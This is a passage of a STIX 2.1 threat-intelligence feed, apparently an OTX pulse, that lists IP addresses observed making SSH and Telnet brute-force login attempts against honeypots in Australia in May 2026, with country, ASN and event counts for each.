      "modified": "2026-05-08T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.12.41.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T04:15:10.000Z",
      "valid_until": "2026-06-09T04:15:08.000Z"
    },
    {
      "created": "2026-05-08T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--3a2978eb-e590-4f5f-80fb-3f9acba19bfc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.135.170.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T04:15:10.000Z",
      "valid_until": "2026-06-09T04:15:08.000Z"
    },
    {
      "created": "2026-05-08T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 23033. Organisation(s): Wowrack.com.",
      "id": "indicator--4cc5ecc3-959e-4fb3-8b51-830762ecd036",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.90.232.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T04:15:10.000Z",
      "valid_until": "2026-06-09T04:15:08.000Z"
    },
    {
      "created": "2026-05-08T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--40ffffc8-bc28-484b-a52e-979b06d97834",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.24.174.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T04:15:10.000Z",
      "valid_until": "2026-06-09T04:15:08.000Z"
    },
    {
      "created": "2026-05-08T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PK. ASN(s): 205759. Organisation(s): Ghosty Networks LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--8f711e34-fef7-4954-987e-89e7290a3c08",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.228.157.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T04:15:10.000Z",
      "valid_until": "2026-06-09T04:15:08.000Z"
    },
    {
      "created": "2026-05-08T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268206. Organisation(s): Community Net Internet e Informatica.",
      "id": "indicator--7b4227ef-62b9-4ff3-92bb-1d740b4620d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.235.188.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T04:15:10.000Z",
      "valid_until": "2026-06-09T04:15:08.000Z"
    },
    {
      "created": "2026-05-08T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 12876. Organisation(s): Scaleway SAS.",
      "id": "indicator--bcfde7b7-9a21-40c5-8897-39003f19d164",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.210.207.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T04:15:10.000Z",
      "valid_until": "2026-06-09T04:15:08.000Z"
    },
    {
      "created": "2026-05-08T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 12876. Organisation(s): Scaleway SAS.",
      "id": "indicator--b6b9da4a-1c0b-46a2-9120-181c3b98b13a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.210.246.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T04:15:10.000Z",
      "valid_until": "2026-06-09T04:15:08.000Z"
    },
    {
      "created": "2026-05-08T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--a62c8aa9-c1ac-4dd2-a929-e8864e81513f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '69.175.92.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T04:15:10.000Z",
      "valid_until": "2026-06-09T04:15:08.000Z"
    },
    {
      "created": "2026-05-08T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 35916. Organisation(s): MULTACOM CORPORATION.",
      "id": "indicator--ee371d52-5d9f-4998-a1e2-aa7d20cd093a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '74.48.100.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T04:15:10.000Z",
      "valid_until": "2026-06-09T04:15:08.000Z"
    },
    {
      "created": "2026-05-08T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--e38e40ac-dab2-4f09-b7a2-4ce5d7c7949b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.217.88.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T04:15:10.000Z",
      "valid_until": "2026-06-09T04:15:08.000Z"
    },
    {
      "created": "2026-05-08T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ZA. ASN(s): 208949. Organisation(s): Hbing Limited.",
      "id": "indicator--88df4936-c0d8-4faf-a98f-98961edd3235",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.129.200.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T05:15:11.000Z",
      "valid_until": "2026-06-09T05:15:08.000Z"
    },
    {
      "created": "2026-05-08T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45609. Organisation(s): Bharti Airtel Ltd. AS for GPRS Service.",
      "id": "indicator--2194a187-66a6-46d9-929e-bf240c569dab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '110.227.58.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T05:15:11.000Z",
      "valid_until": "2026-06-09T05:15:08.000Z"
    },
    {
      "created": "2026-05-08T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 63199. Organisation(s): CDS Global Cloud Co., Ltd.",
      "id": "indicator--c08609c3-bde6-4922-9f2a-c976e8911152",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '148.153.121.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T05:15:11.000Z",
      "valid_until": "2026-06-09T05:15:08.000Z"
    },
    {
      "created": "2026-05-08T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 135161. Organisation(s): GMO-Z com NetDesign Holdings Co., Ltd..",
      "id": "indicator--24a313d5-1094-4db8-b9fa-ea876dc20b90",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '150.95.25.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T05:15:11.000Z",
      "valid_until": "2026-06-09T05:15:08.000Z"
    },
    {
      "created": "2026-05-08T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 46606. Organisation(s): Unified Layer.",
      "id": "indicator--9458fc81-1e1f-4542-9efd-3803fd1af9f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '162.144.84.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T05:15:11.000Z",
      "valid_until": "2026-06-09T05:15:08.000Z"
    },
    {
      "created": "2026-05-08T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--64135abf-b4ad-4220-86ee-9f0b49116f9d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.232.175.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T05:15:11.000Z",
      "valid_until": "2026-06-09T05:15:08.000Z"
    },
    {
      "created": "2026-05-08T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 9009. Organisation(s): M247 Europe SRL.",
      "id": "indicator--9186d0ac-4f21-41e6-b420-7279798655d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.255.100.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T05:15:11.000Z",
      "valid_until": "2026-06-09T05:15:08.000Z"
    },
    {
      "created": "2026-05-08T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--b5fcd94a-3142-42aa-87c4-a917124656e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T05:15:11.000Z",
      "valid_until": "2026-06-09T05:15:08.000Z"
    },
    {
      "created": "2026-05-08T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company.",
      "id": "indicator--3aec316a-6906-475e-93a3-646e0c45e24e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.230.87.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T05:15:11.000Z",
      "valid_until": "2026-06-09T05:15:08.000Z"
    },
    {
      "created": "2026-05-08T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 30058. Organisation(s): FDCservers.net.",
      "id": "indicator--c8d7862b-7049-4150-85a2-f9f7ec42de7b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.237.192.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T05:15:11.000Z",
      "valid_until": "2026-06-09T05:15:08.000Z"
    },
    {
      "created": "2026-05-08T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--980179dd-c69c-408a-a19d-fbe6cc5ea5e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.217.210.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T05:15:11.000Z",
      "valid_until": "2026-06-09T05:15:08.000Z"
    },
    {
      "created": "2026-05-08T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--897902ef-80b3-4234-94d1-681c3ae37b02",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.140.0.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T05:15:11.000Z",
      "valid_until": "2026-06-09T05:15:08.000Z"
    },
    {
      "created": "2026-05-08T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 47. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--8b7d2c3f-ed33-44f4-8108-bc67bbb92f83",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.195.111.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T05:15:11.000Z",
      "valid_until": "2026-06-09T05:15:08.000Z"
    },
    {
      "created": "2026-05-08T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VG. ASN(s): 208949. Organisation(s): Hbing Limited.",
      "id": "indicator--849617b1-f9e8-4acc-8224-7a629973b51e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.148.146.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T05:15:11.000Z",
      "valid_until": "2026-06-09T05:15:08.000Z"
    },
    {
      "created": "2026-05-08T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 269421. Organisation(s): BRASILVOX TELECOMUNICACOES LTDA.",
      "id": "indicator--042e805d-e091-409f-8a37-78478a5eda0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.186.70.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T05:15:11.000Z",
      "valid_until": "2026-06-09T05:15:08.000Z"
    },
    {
      "created": "2026-05-08T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 207728. Organisation(s): EUROHOSTER Ltd..",
      "id": "indicator--fa385a09-c6f0-4ed8-a8a8-c7665dc4db85",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.28.234.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T05:15:11.000Z",
      "valid_until": "2026-06-09T05:15:08.000Z"
    },
    {
      "created": "2026-05-08T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CZ. ASN(s): 42422. Organisation(s): SecurityNet.cz s.r.o..",
      "id": "indicator--46b47650-f69b-4ad9-98fe-472b8f4283f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.36.38.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T05:15:11.000Z",
      "valid_until": "2026-06-09T05:15:08.000Z"
    },
    {
      "created": "2026-05-08T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--9253bb34-487a-4018-b7a3-ab2ee8133bee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.171.174.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T05:15:11.000Z",
      "valid_until": "2026-06-09T05:15:08.000Z"
    },
    {
      "created": "2026-05-08T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 25019. Organisation(s): Saudi Telecom Company JSC.",
      "id": "indicator--60eac9e7-b0d3-47f9-838d-e1d926d6f69f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.31.70.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T05:15:11.000Z",
      "valid_until": "2026-06-09T05:15:08.000Z"
    },
    {
      "created": "2026-05-08T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 198584. Organisation(s): PIO-Hosting GmbH.",
      "id": "indicator--26bff5ab-b4c3-41e7-be60-f01d85220abb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.161.34.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T06:15:10.000Z",
      "valid_until": "2026-06-09T06:15:08.000Z"
    },
    {
      "created": "2026-05-08T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 23470. Organisation(s): ReliableSite.Net LLC.",
      "id": "indicator--db610f2d-3e8f-4c34-b196-d9565491edad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.243.46.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T06:15:10.000Z",
      "valid_until": "2026-06-09T06:15:08.000Z"
    },
    {
      "created": "2026-05-08T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--44e1fb4c-fd1b-45ff-b313-9e3bb647ee67",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.215.164.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T06:15:10.000Z",
      "valid_until": "2026-06-09T06:15:08.000Z"
    },
    {
      "created": "2026-05-08T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--9b9f4f2c-1e93-43bc-9a50-e5cfb3be1da9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '108.181.11.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T06:15:10.000Z",
      "valid_until": "2026-06-09T06:15:08.000Z"
    },
    {
      "created": "2026-05-08T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58563. Organisation(s): CHINANET Hubei province network. Usernames observed (masked): f*****r, ***, u****u. Passwords observed (masked): 4******q, P*********3, t**t.",
      "id": "indicator--322a6a84-82c2-4b17-8800-330981cd46a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.96.242.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T06:15:10.000Z",
      "valid_until": "2026-06-09T06:15:08.000Z"
    },
    {
      "created": "2026-05-08T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--c66a9302-197a-488b-aa13-e0db3b30d2a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.181.203.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T06:15:10.000Z",
      "valid_until": "2026-06-09T06:15:08.000Z"
    },
    {
      "created": "2026-05-08T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--e5e4227f-3b48-40f7-b343-62f209a9ec69",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.177.206.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T06:15:10.000Z",
      "valid_until": "2026-06-09T06:15:08.000Z"
    },
    {
      "created": "2026-05-08T06:15:10.000Z",
